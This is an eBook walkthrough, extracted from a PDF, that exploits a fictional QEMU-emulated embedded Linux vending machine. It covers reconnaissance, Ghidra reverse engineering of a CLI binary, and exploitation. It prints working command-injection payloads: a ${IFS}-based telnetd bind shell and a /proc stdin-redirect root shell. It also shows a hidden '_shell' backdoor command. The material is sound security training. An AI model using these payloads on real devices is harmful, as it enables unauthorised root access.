Breaking-into-an-Embedded-Linux-System-eBook
Breaking-into-an-Embedded-Linux-System-eBook
Embedded Linux
System
ERIK DE JONG
PA R T 0 1
03 Introduction 28 Exploitation
Further Analysis
04 Platform 33
for Fun and Profit
09 Reconnaissance 39 Conclusion
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 3
Platform How to Get QEMU
To help you follow along, I have made a QEMU is a powerful open source machine emulator and virtualizer, which
differs from for instance VirtualBox or VMWare products in that it can emulate
minimal booting system that can be booted different processor architectures and machines. To obtain QEMU, follow these
on QEMU system emulation for ARM installation instructions based on your operating system:
processors. This fictional system represents a Linux
vending machine called the Swagricator that • Installing QEMU on Linux machines is straightforward using the package manager
included in your Linux distribution.
is used to produce customized swag for 1337
hackers. To cater for the various types of swag, Windows
• You can find the installer packages built by Stefan Weil for Windows on the
the system uses an SD card with software that QEMU website.
the base system will load during system boot. • After installing add the destination directory to your systems PATH environment
For this first part, we will concentrate on just the variable globally, or do it for a session with SET PATH=%PATH%;”c:\Program Files\
qemu” in cmd.exe or $env:PATH += “c:\Program Files\qemu” in PowerShell
administrative shell that is available over telnet. (assuming QEMU was installed in c:\Program Files\qemu).
macOS
If you want to follow along and play with the VM, • Install Homebrew (if you don’t have it already). You’ll need it for other tools later on, too.
please make sure to follow the steps below to • Follow the instructions for using MacPorts on the QEMU macOS download page.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 4
Swagricator Base System
PAGE 5
[ 1.351161] can: broadcast manager protocol
[ 0.000000] Booting Linux on physical CPU 0x0 [ 1.351408] can: netlink gateway - max_hops=1[
[ 0.000000] Linux version 6.0.2 (erik@celaeno) (arm- 1.352478] Key type dns_resolver registered
linux-gnueabihf-gcc (GCC) 12.2.0, GNU ld (GNU Binutils) [ 1.352753] ThumbEE CPU extension supported.
2.39) #1 SMP Mon Dec 26 21:00:24 CET 2022 [ 1.352855] Registering SWP/SWPB emulation handler
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 [ 1.354221] Loading compiled-in X.509 certificates
(ARMv7), cr=10c5387d [ 1.367770] input: gpio-keys as /devices/platform/gpio-
... keys/input/input0
[ 1.379369] uart-pl011 9000000.pl011: no DMA platform
... data
[ 1.335674] usbhid: USB HID core driver [ 1.441792] Freeing unused kernel image (initmem)
[ 1.341845] NET: Registered PF_INET6 protocol family memory: 2048K
[ 1.347734] Segment Routing with IPv6 [ 1.458647] Run /sbin/init as init process
[ 1.347925] In-situ OAM (IOAM) with IPv6 Starting network...
[ 1.348342] sit: IPv6, IPv4 and MPLS over IPv4 tunneling Starting telnetd...
driver Loading module...
[ 1.350405] NET: Registered PF_PACKET protocol family No /dev/vda node found!
[ 1.350636] can: controller area network core
[ 1.350948] NET: Registered PF_CAN protocol family Please press Enter to activate this console.
[ 1.351029] can: raw protocol / #
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 6
When the system boots correctly, we must then make $ telnet 127.0.0.1 30023
sure QEMU user mode networking is also working as Trying 127.0.0.1...
intended. Since the QEMU command line specifies Connected to 127.0.0.1.
TCP port 23, the guest is forwarded to the host system Escape character is ‘^]’.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 7
Swagricator LevelUpX Module 1
qemu-system-arm \
Download module-levelupx-1.img, the module for this -M virt-6.2 \
guide, from GitHub, and place it in the same directory -m 256 \
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 8
Reconnaissance
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 9
Starting network...
After dumping information about the available Starting telnetd...
devices and kernel configuration options, the Loading module...
log ends with a message that root logins are Found device node
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 10
For those following along, while
$ telnet 127.0.0.1 30023
we can work from the QEMU Trying 127.0.0.1...
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 11
19 root 0:00 [kcompactd0]
It appears that some familiar shell commands are available. 20 root 0:00 [kblockd]
We can try out a couple to see what happens: 21 root 0:00 [ata_sff]
22 root 0:00 [edac-poller]
23 root 0:00 [devfreq_wq]
24 root 0:00 [kworker/0:1-eve]
> whoami 25 root 0:00 [watchdogd]
levelupx 26 root 0:00 [kworker/u2:2-ev]
> ps 27 root 0:00 [rpciod]
PID USER TIME COMMAND 28 root 0:00 [kworker/0:1H-kb]
1 root 0:00 init 29 root 0:00 [xprtiod]
2 root 0:00 [kthreadd] 30 root 0:00 [kswapd0]
3 root 0:00 [rcu_gp] 31 root 0:00 [nfsiod]
4 root 0:00 [rcu_par_gp] 33 root 0:00 [mld]
5 root 0:00 [slub_flushwq] 34 root 0:00 [ipv6_addrconf]
7 root 0:00 [kworker/0:0H-ev] 50 root 0:00 [kworker/0:2-mm_]
8 root 0:00 [kworker/u2:0-ev] 61 root 0:00 telnetd
9 root 0:00 [mm_percpu_wq] 65 root 0:00 [jbd2/vda-8]
10 root 0:00 [ksoftirqd/0] 66 root 0:00 [ext4-rsv-conver]
11 root 0:00 [rcu_sched] 75 root 0:00 /sbin/getty -L 0 ttyAMA0 vt100
12 root 0:00 [migration/0] 76 levelupx 0:00 -levelupx-1
13 root 0:00 [cpuhp/0] 77 root 0:00 [kworker/u2:1-ev]
14 root 0:00 [kdevtmpfs] 79 levelupx 0:00 ps
15 root 0:00 [inet_frag_wq] > ps -h
16 root 0:00 [oom_reaper]
18 root 0:00 [writeback]
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 12
PID USER TIME COMMAND
1 root 0:00 init
21 root 0:00 [ata_sff]
2 root 0:00 [kthreadd]
22 root 0:00 [edac-poller]
3 root 0:00 [rcu_gp]
23 root 0:00 [devfreq_wq]
4 root 0:00 [rcu_par_gp]
24 root 0:00 [kworker/0:1-eve]
5 root 0:00 [slub_flushwq]
25 root 0:00 [watchdogd]
7 root 0:00 [kworker/0:0H-ev]
26 root 0:00 [kworker/u2:2-ev]
8 root 0:00 [kworker/u2:0-ev]
27 root 0:00 [rpciod]
9 root 0:00 [mm_percpu_wq]
28 root 0:00 [kworker/0:1H-kb]
10 root 0:00 [ksoftirqd/0]
29 root 0:00 [xprtiod]
11 root 0:00 [rcu_sched]
30 root 0:00 [kswapd0]
12 root 0:00 [migration/0]
31 root 0:00 [nfsiod]
13 root 0:00 [cpuhp/0]
33 root 0:00 [mld]
14 root 0:00 [kdevtmpfs]
34 root 0:00 [ipv6_addrconf]
15 root 0:00 [inet_frag_wq]
50 root 0:00 [kworker/0:2-eve]
16 root 0:00 [oom_reaper]
61 root 0:00 telnetd
18 root 0:00 [writeback]
65 root 0:00 [jbd2/vda-8]
19 root 0:00 [kcompactd0]
66 root 0:00 [ext4-rsv-conver]
20 root 0:00 [kblockd]
75 root 0:00 /sbin/getty -L 0 ttyAMA0 vt100
77 root 0:00 [kworker/u2:1-ev]
82 levelupx 0:00 -levelupx-1
83 levelupx 0:00 ps
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 13
It looks like we cannot pass parameters to > ping 127.0.0.1
This is promising
and might be a way However, as shown above, some canary command injection payloads cannot
seem to do the trick. We could spend some time fuzzing the ping command, but it
to get a shell through might be more efficient to do some static analysis of the binary first to find out what
command injection.
is happening behind the scenes. In my experience, it helps a lot to understand the
parsing of a cli shell when trying to break and ultimately exploit things.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 14
Static Analysis How to Get Ghidra
My go-to tool for static analysis is Ghidra. It is open source My go-to tool for static analysis is Ghidra. It is open source and works extremely well for
and works extremely well for decompiling the binary back to decompiling the binary back to readable C code. Ghidra is packaged as a cross-platform
archive that can be extracted anywhere on the filesystem.
readable C code. We can extract the application from the SD
card image or download it directly from the release page on 1. Download and install a supported Java version (JDK 17 64-bit)
2. Download the most recent release package from the Ghidra GitHub Releases page.
GitHub. We then proceed by setting up a new (Non-Shared)
3. Launch Ghidra
project in Ghidra and importing the application (File/Import a. Linux/macOS: run ghidraRun
File). It should detect the application format as “ELF” and the b. Windows: run ghidraRun.bat
“language” as ARM:LE:32:v8:default: 4. For further installations instructions see the Ghidra Installation Guide.
PRO According to this advice from Nick Starke, you may encounter UI
Format: Executable and Linking Format (ELF)
TIP
scaling issues If you are using a high resolution screen. You can
Language: ARM:LE:32:v8:default ...
fix this by adjusting the settings for the file launch.properties in
Destination Folder: levelupx-1:/ ...
the support directory.
Program Name: levelupx-1
Options
OK CANCEL
USEFUL • GitHub Releases · NationalSecurityAgency/ghidra
LINKS
• Ghidra is a software reverse engineering (SRE) framework
_
<img> Ghidra import detecting application format and language.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 15
Project File Name: levelupx-1
Last Modified: Sun Jan 01 14:10:00 CET 2023
Readonlv: false
Program Name: levelupx-1
Language ID: ARM:LE:32:V8 (1.103)
Compiler ID: default
After importing is complete, more details Processor: ARM
Endian: Little
will be revealed. Most relevant here is that Address Size: 32
Minimum Address: 00010000
the application only requires libc: Maximum Address: _elfSectionHeaders: : 00000437
# of Bytes: 7083
# of Memory Blocks: 29
# of Instructions: 0
# of Defined Data: 145
# of Functions: 65
# of Symbols: 81
# of Data Types: 28
# of Data Type Categories: 2
Created With Ghidra Version: 10.1.5
Date Created: Sun Jan 01 14:09:59 CET 2023
ELF File Type: executable
ELF Original Image Base: 0x10000
ELF Prelinked: false
ELF Required Library [ 0]:libc.so.6
Executable Format: Executable and Linking Format (ELF)
Executable Location: /home/erik/devel/swagricator-module-levelupx-1/image/levelupx-1
Executable MD5: 9£7a58447ae06dafe762dc3dfc1ffbde
Executable SHA256: a6e23950ffb3ac5785da04de9972459bfe626176d45ffd99854d3b338cb8ee2f
ESRL: file:///home/erik/devel/swagricator-module- levelupx-1/ image/levelupx-1?MD5=9f
Relocatable: false
Additional
- - - - - Loading /home/erik/devel/swagricator-module-levelupx-1/image/levelupx-1- - - - -
Information
Elf Relocation Warning: Type = R_ARM_COPY at 0005008, Symbol = stdin: Runtime copy not supported
[libc.so.6] -> not found
- - - - - [levelupx-1] Resolve 30 external symbols- - - - -
Unresolved external symbols which remain: 30
_
OK
<img> Ghidra import results.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 16
Symbol Tree
Filter:
_
<img> Ghidra Symbol Tree.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 17
Since all functions Depending on the version of Ghidra 1. Activate the listing panel and press "G".
you’re using, you may encounter a view 2. Enter the value observed in the "ELF Original Image Base"
are named using the similar to the one shown here. From there, field of the binary import window (in this case, 0x10000).
“FUN_address” format, we can begin examining the application 3. After clicking "OK", we are directed to the ELF header,
by focusing on the function called “entry”. where we can find the entry function in the "e_entry"
we can conclude that ELF header field, located at address 0x00010018
(FUN_00020188).
the binary is stripped. In some recent versions of Ghidra, the
4. Double-click on the function code itself to navigate to it.
entry function may not be labeled as such
but we can refer to the ELF header to 5. Highlight the function name and press "L".
locate the entry function. To do this: 6. Finally, write "entry" as the function name.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 18
main()
A quick code analysis of main() suggests that
undefined4 main(void) user input is read using getline() and then
{ passed to FUN_000206cc(). The function
size_t local_18;
puts(“Welcome to the LevelUpX Swagricator shell!”); getline() is a safe function for reading user
char *local_14;
int local_10;
FUN_00020414(); input that allocates a suitably sized buffer
FUN_000203a0(“startup”);
__ssize_t local_c; (because local_14 is set to NULL), and NULL
printf(“> “);
while( true ) {
terminates the received input. If the result of
local_14 = (char *)0x0;
local_c = getline(&local_14,&local_18,stdin); FUN_000206cc() is -2, the program exits.
local_18 = 0;
if (local_c == -1) {
return 0;
}
When it is -1, an error is displayed. If the
local_14[local_c + -1] = ‘\0’; program doesn’t exit here, it returns to the
local_10 = FUN_000206cc(local_14); beginning of the while loop and waits for
FUN_00020280(“Executed: \’%s\’, ret: %d\n”,local_14,local_10);
another line of user input. FUN_00020280()
if (local_10 == -2) break;
if (local_10 == -1) { appears to be some sort of logging that is
printf(“Invalid input \’%s\’\n”,local_14); not displayed to the user, since we didn’t
} see the corresponding output during our
free(local_14);
reconnaissance.
local_14 = (char *)0x0;
printf(“> “);
} For now, let’s dive into FUN_000206cc().
puts(“Logoff”);
return 0;
}
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 19
handle_input()
int handle_input(char *line)
{
Once in FUN_000206cc(), right-click on the function name
int iVar1;
and select Edit Function Signature to set the parameter type. char acStack140 [128];
Give it a friendly name and specify the return type as int: uint local_c;
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 20
Here, we see how the first word of the line is extracted using sscanf. If this word
is “help,” it enters a for loop that supposedly prints out the list of commands
before returning to main(). From how the help command works, we can struct command_descriptor {
char *prefix;
deduce that commands are stored in a table in memory with a keyword and a
char *description;
description that gets printed in the help listing. Taking this idea and looking at
funcptr *function;
the other case (i.e., line does not start with “help”), it is evident that along with }
the keyword and description, there is also a function pointer. Looking at offsets
in the code, it appears a table entry resembles something like this:
This is one of the types of code patterns A more advanced version might dynamically register
commands and not have such a table fully populated
that are often encountered in these at build time. If this is the case, you might need to use a
cli-styled interfaces. Often, there will also debugger to analyze this at runtime or trace all calls to
the registration function to find out what is registered.
be fields for parameters and their types to
help with autocompletion and validation.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 21
For now, let’s check out the table and see where PTR_ DAT 00050098 XREF [3]: handle_input:00020764 (R).
we can find the implementation of the ping handle_input:0002076c8 (R).
handle_input:000207ec (*)
command over at 0x00050098 in the Listing view: 00050098 50 01 03 00 addr DAT_00030150 =70h p
An interesting observation here is that the string “ping” DAT_00030150 XREF [1]: 00050098(*)
is actually too short for Ghidra to detect as a string 00030150 70 ?? 70h p
00030151 69 ?? 69h i
using the default settings (“Minimum String Length” 00030152 6e ?? 6Eh n
text “send ping” is hinted but the “ping” command is 00030155 00 ?? 00h
00030156 00 ?? 00h
not. Jumping to 0x00030150, we can see it is there, 00030157 00 ?? 00h
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 22
Depending on the compiler optimization, memory
architecture, and data structure alignment, you might
encounter situations where parts of a string are
reused with pointers to locations somewhere inside
a larger string. Take, for instance, the ping\x00 part
of “send ping\x00” in this example.
We should head over to FUN_000204f8() to work out how the ping command works.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 23
handle_ping()
Once again, we update the
function signature to add the int handle_ping(char *line)
info we have and rename it {
to handle_ping(): int iVar1;
ushort **ppuVar2;
size_t sVar3;
byte local_8c [128];
char *local_c;
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 24
We see that sscanf() is used once again, this > ping 127.0.0.1
time to get the word after “ping” in the input. Pinging 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
This word is then compared to something
related to __ctype_b_loc() before it is
--- 127.0.0.1 ping statistics ---
combined with “ping -c1 -W1” and sent off to
1 packets transmitted, 0 packets received, 100% packet loss
FUN_00020474(). Remember how, during > ping -h
the reconnaissance, we got the output listed Invalid input ‘ping -h’
below when we played around with ping? > ping `reboot`
Invalid input ‘ping `reboot`’
> ping ;reboot
Invalid input ‘ping ;reboot’
As we know by now, the The format %s specified for sscanf() should allow any type of input to be read apart
from the whitespace. __ctype_b_loc() is used by functions such as isalpha(). Reverse
message “Invalid input” is engineering (ppuVar2 = __ctype_b_loc(), ((*ppuVar2)[local_8c[0]] & 8) != 0)) actually tells
generated when a value of -1 us it is checking if the first character of the ping destination string matches isalnum().
In this case, isalnum() was probably implemented as a macro rather than a library
is passed all the way back to function. So far, this tells us that the input after “ping” must not contain spaces and must
the input loop in main(). start with letters or digits for it to be passed on to FUN_00020474().
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 25
system_exec()
Once more, we edit the function
signature to include the details void system_exec(char *command,int param_2)
we know by now and rename it {
to system_exec(). The second __pid_t _Var1;
parameter, a 1 in the case of the ping void *local_10;
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 26
elevate_permissions()
FUN_0002034c(), things {
FUN_00020280(“Elevating permissions until end for \’%s\’\n”,command);
immediately start to fall into setuid(DAT_000500f0);
setgid(DAT_000500f8);
place (and we can edit the return;
As we saw in main(), this appears to be related to logging. This function plainly tells us
that permissions are elevated. This binary probably has the s-bit set and can use this
mechanic to elevate to root after first dropping permissions on startup. Since this is all
This function uses setuid() and setgid() happening in the child from the fork() call, this means the main process can continue
to change to another user, judging from running with the privileges from the telnet login user—in this case, “levelupx.” We can
the call to FUN_00020280(). confirm this by looking back at the output from the “ps” command we obtained earlier.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 27
Exploitation
With all the knowledge from our static analysis,
we can start working on a payload to pop a > ping 127.0.0.1;/bin/sh
shell. The simplest way to proceed would be Pinging 127.0.0.1;/bin/sh
to simply enter a valid ping command, followed PING 127.0.0.1 (127.0.0.1): 56 data bytes
by a semicolon and the path to a shell:
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
>
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 28
Exploit method 1—Bind shell
Our first option is to spawn a reverse or bind shell. This payload violates the no spaces constraint, but there is
Because we don’t know if the system offers any an elegant way around this: use the IFS shell environment
tools with which to build a reverse shell, we can variable, which contains all characters accepted by the shell
start with a bind shell. A bind shell is accomplished as whitespace. This effectively means we can use ${IFS}
easily enough using telnetd, which we know is instead of spaces, so we can rewrite the payload as follows:
available in the system from the output of “ps.” We
can specify which application to use for logging
/usr/sbin/telnetd${IFS}-p24${IFS}-l/bin/sh
in with the -l option, and if we just set this to /bin/
sh, connecting to the port telnetd is listening on
will drop us into a shell without authentication.
Remember how we set up a host forward for
TCP port 24 to 31337 on the host system. So the
command line to start telnetd with a shell instead of The final payload to pass the input checks on the ping
a login on port 24 would be as follows: cli command is then the following:
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 29
Let’s try it out and observe what happens: 16 root 0:00 [oom_reaper]
17 root 0:00 [kworker/u2:1]
18 root 0:00 [writeback]
> ping 127.0.0.1;/usr/sbin/telnetd${IFS}-p24${IFS}-l/bin/sh 19 root 0:00 [kcompactd0]
Pinging 127.0.0.1;/usr/sbin/telnetd${IFS}-p24${IFS}-l/bin/sh 20 root 0:00 [kblockd]
PING 127.0.0.1 (127.0.0.1): 56 data bytes 21 root 0:00 [ata_sff]
22 root 0:00 [edac-poller]
--- 127.0.0.1 ping statistics --- 23 root 0:00 [devfreq_wq]
1 packets transmitted, 0 packets received, 100% packet loss 24 root 0:00 [kworker/0:1-eve]
> ps 25 root 0:00 [watchdogd]
PID USER TIME COMMAND 26 root 0:00 [kworker/u2:2-ev]
1 root 0:00 init 27 root 0:00 [rpciod]
2 root 0:00 [kthreadd] 28 root 0:00 [kworker/0:1H-kb]
3 root 0:00 [rcu_gp] 29 root 0:00 [xprtiod]
4 root 0:00 [rcu_par_gp] 30 root 0:00 [kswapd0]
5 root 0:00 [slub_flushwq] 31 root 0:00 [nfsiod]
6 root 0:00 [kworker/0:0-rcu] 33 root 0:00 [mld]
7 root 0:00 [kworker/0:0H-ev] 34 root 0:00 [ipv6_addrconf]
8 root 0:00 [kworker/u2:0-ev] 50 root 0:00 [kworker/0:2-eve]
9 root 0:00 [mm_percpu_wq] 61 root 0:00 telnetd
10 root 0:00 [ksoftirqd/0] 65 root 0:00 [jbd2/vda-8]
11 root 0:00 [rcu_sched] 66 root 0:00 [ext4-rsv-conver]
12 root 0:00 [migration/0] 75 root 0:00 /sbin/getty -L 0 ttyAMA0 vt100
13 root 0:00 [cpuhp/0] 76 levelupx 0:00 -levelupx-1
14 root 0:00 [kdevtmpfs] 80 root 0:00 /usr/sbin/telnetd -p24 -l/bin/sh
15 root 0:00 [inet_frag_wq] 81 levelupx 0:00 ps
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 30
As we can see, the telnetd process
spawned in TCP port 24 as user root.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 31
Exploit method 2—An alternative stdin
While spawning a bind shell is very practical For example, when we only have a serial connection
to the target, the system has a very restrictive iptable
because we can connect to it multiple times configuration or there are just no binaries available in the
if we require more shells, it might not be a system to get this working.
Because the command is called with system(), a shell is involved, Furthermore, we can verify that this works on the target:
and we can use redirection to redirect the stdin of the parent
process (i.e., the cli shell) to the child system shell process as stdin
using the < shell operator. Using the PPID environment variable, we > ping 127.0.0.1;sh</proc/${PPID}/fd/1
can obtain the PID of the parent process. With the parent’s PID, we Pinging 127.0.0.1;sh</proc/${PPID}/fd/1
can then access the stdin file descriptor in /proc with /proc/<parent PING 127.0.0.1 (127.0.0.1): 56 data bytes
PID>/fd/1. Putting this all together gives us the following payload:
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
/mnt/module # id
ping 127.0.0.1;sh</proc/${PPID}/fd/1
uid=0(root) gid=0(root) groups=1000(levelupx)
/mnt/module #
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 32
Further Analysis for Fun and Profit
With an exploit in the pocket to get a shell and elevate Function Call Trees: system_exec - (levelupx-1)
to root, we’re already on our way to a nice bounty.
Incoming Calls Outgoing Calls
But what if we can find other code paths leading to
▼ ƒ Incoming References - system_exec ▼ ƒ Outgoing References - system_exec
system_exec() that are also vulnerable? Let’s go back
ƒ handle_ping ⊲ ƒ fork
to system_exec() and look at the Function Call Trees ƒ FUN_000205d0 ⊲ ƒ FUN_0002034c
view to see what other functions use system_exec(): ƒ FUN_00020600 ⊲ ƒ fclose
⊲ ƒ system
⊲ ƒ exit
⊲ ƒ wait
Filter: Filter:
In the Incoming Calls pane, we can see two more Because “ps” is another short string, we
functions. Clicking on them, we can see that they
only specify the strings “whoami” and “ps.” see a reference to its location in memory,
but it is not displayed as a C-style string.
_
<img> Ghidra function Call Trees.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 33
Since these are constant strings, Symbol Tree
REMEMBER
▼ <EXTERNAL>
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 34
Since we are focusing on command injection and alike today,
we should check out execvp() because this is another way to undefined4 FUN_00020630(undefined4 param_1)
spawn external processes. When we click on execvp() in the {
Symbol Tree, we are redirected to the corresponding thunk char *local_18;
function. Thunk functions are used for external symbols that undefined4 local_14;
_
<img> Incoming call tree.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 35
This looks very similar to what we saw back in Listing: levelupx-1
system_exec(): the process forks, and the child
* FUNCTION *
elevates permissions, except in this case, it ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
undefined FUN_0002860()
spawns /bin/sh with execvp() rather than running undefined r0:1 <RETURN>
a value passed to the function. undefined4 Stack[-0xc]:4 local_c XREF[2]: 0002065x (w),
00020560 (R)
undefined4 Stack[-0x10]:4 local_10 XREF[1]: 00020690 (R)
undefined4 Stack[-0x14]:4 local_14 XREF[1]: 00020550 (W)
Only, with no incoming function calls in the undefined4 Stack[-0x18]:4 local_18 XREF[2]: 00020648 (W),
00020574 (R)
incoming Function Call Tree, we need to dig undefined4 Stack[-0x1c]:4 local_1c XREF[2]: 0002063c (W),
<img> Listing showing the cross reference. 00020680 03 00 a0 e1 cpy r3=>s_/bin/sh_00030148,r3 = ”/bin/sh”
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 36
0002500b8 44 01 01 00
0002500bc 78 01 03 00
addr DAT_00030144 =
addr s_display_running_processes_00030178 =
70h p
“display running processes”
Hold on, this appears
0002500c0 00 06 02 00
0002500c4 00
addr
??
FUN_00020500
00h
to be in the memory space
holding the command
0002500c5 00 ?? 00h
0002500c6 00 ?? 00h
0002500c7 00 ?? 00h
0002500c8 94 01 03 00
0002500cc 9c 01 03 00
addr s_shell_08030194
addr DAT_0003019c
= “_shell”
descriptor table!
0002500d0 30 06 02 00 addr FUN_00020630
0002500d4 01 ?? 01h
0002500d5 00 ?? 00h _
0002500d6 01 ?? 00h <img> More command descriptors.
0002500d7 01 ?? 01h
If it were in the command table, we would expect the command “_shell” to show up in the
help listing, but for some reason, it is not shown there. The reason for this becomes apparent struct command_descriptor {
when we examine those 4 bytes after the function pointer. For the other commands, these char *prefix;
are set to [0x00, 0x00, 0x00, 0x00], whereas they are [0x01, 0x00, 0x00, 0x00] for “_shell.” char *description;
With the platform being a little endian, we can understand these to be small 32-bit integer funcptr *function;
representations of values 0 and 1. This ties into the line if (*(int *)(&DAT_000500a4 + local_c * int hidden;
}
0x10) == 0) in handle_input(), which triggers the printing of the help listing. We can update the
command descriptor struct to represent this:
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 37
Because handle_input() skips only the
hidden commands when printing the help > _shell
listing but not when executing commands, we /mnt/module # id
can just run this in the cli to get a root shell! uid=0(root) gid=0(root) groups=1000(levelupx)
You will often find debugging backdoors Regardless of how a vendor designates these,
like this “_shell” command or accounts with
hardcoded passwords in appliances that present system shells are very valuable for the dynamic
a highly restricted interface to users. Whether analysis of a device, which make them a useful
this is actually a vulnerability or just a product
development functionality is up for debate. tool in a hardware hacker’s arsenal.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 38
Conclusion
In this guide, I described how to set up the testing environment
for some reconnaissance. This was followed by a static analysis of
the binary where we worked through the application workflow and
examined how the command processor works. During the static
analysis, we identified a way to inject commands that bypass input
validation. After exploiting this bypass in two ways, we conducted
further research and found a debugging command in the
application that also gave us root access.
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 39
About the Author
ERIK DE JONG
Submission Shogun
L EV EL 7
Introduction Platform Reconnaissance Static Analysis Exploitation Further Analysis for Fun and Profit Conclusion About the Author PAGE 40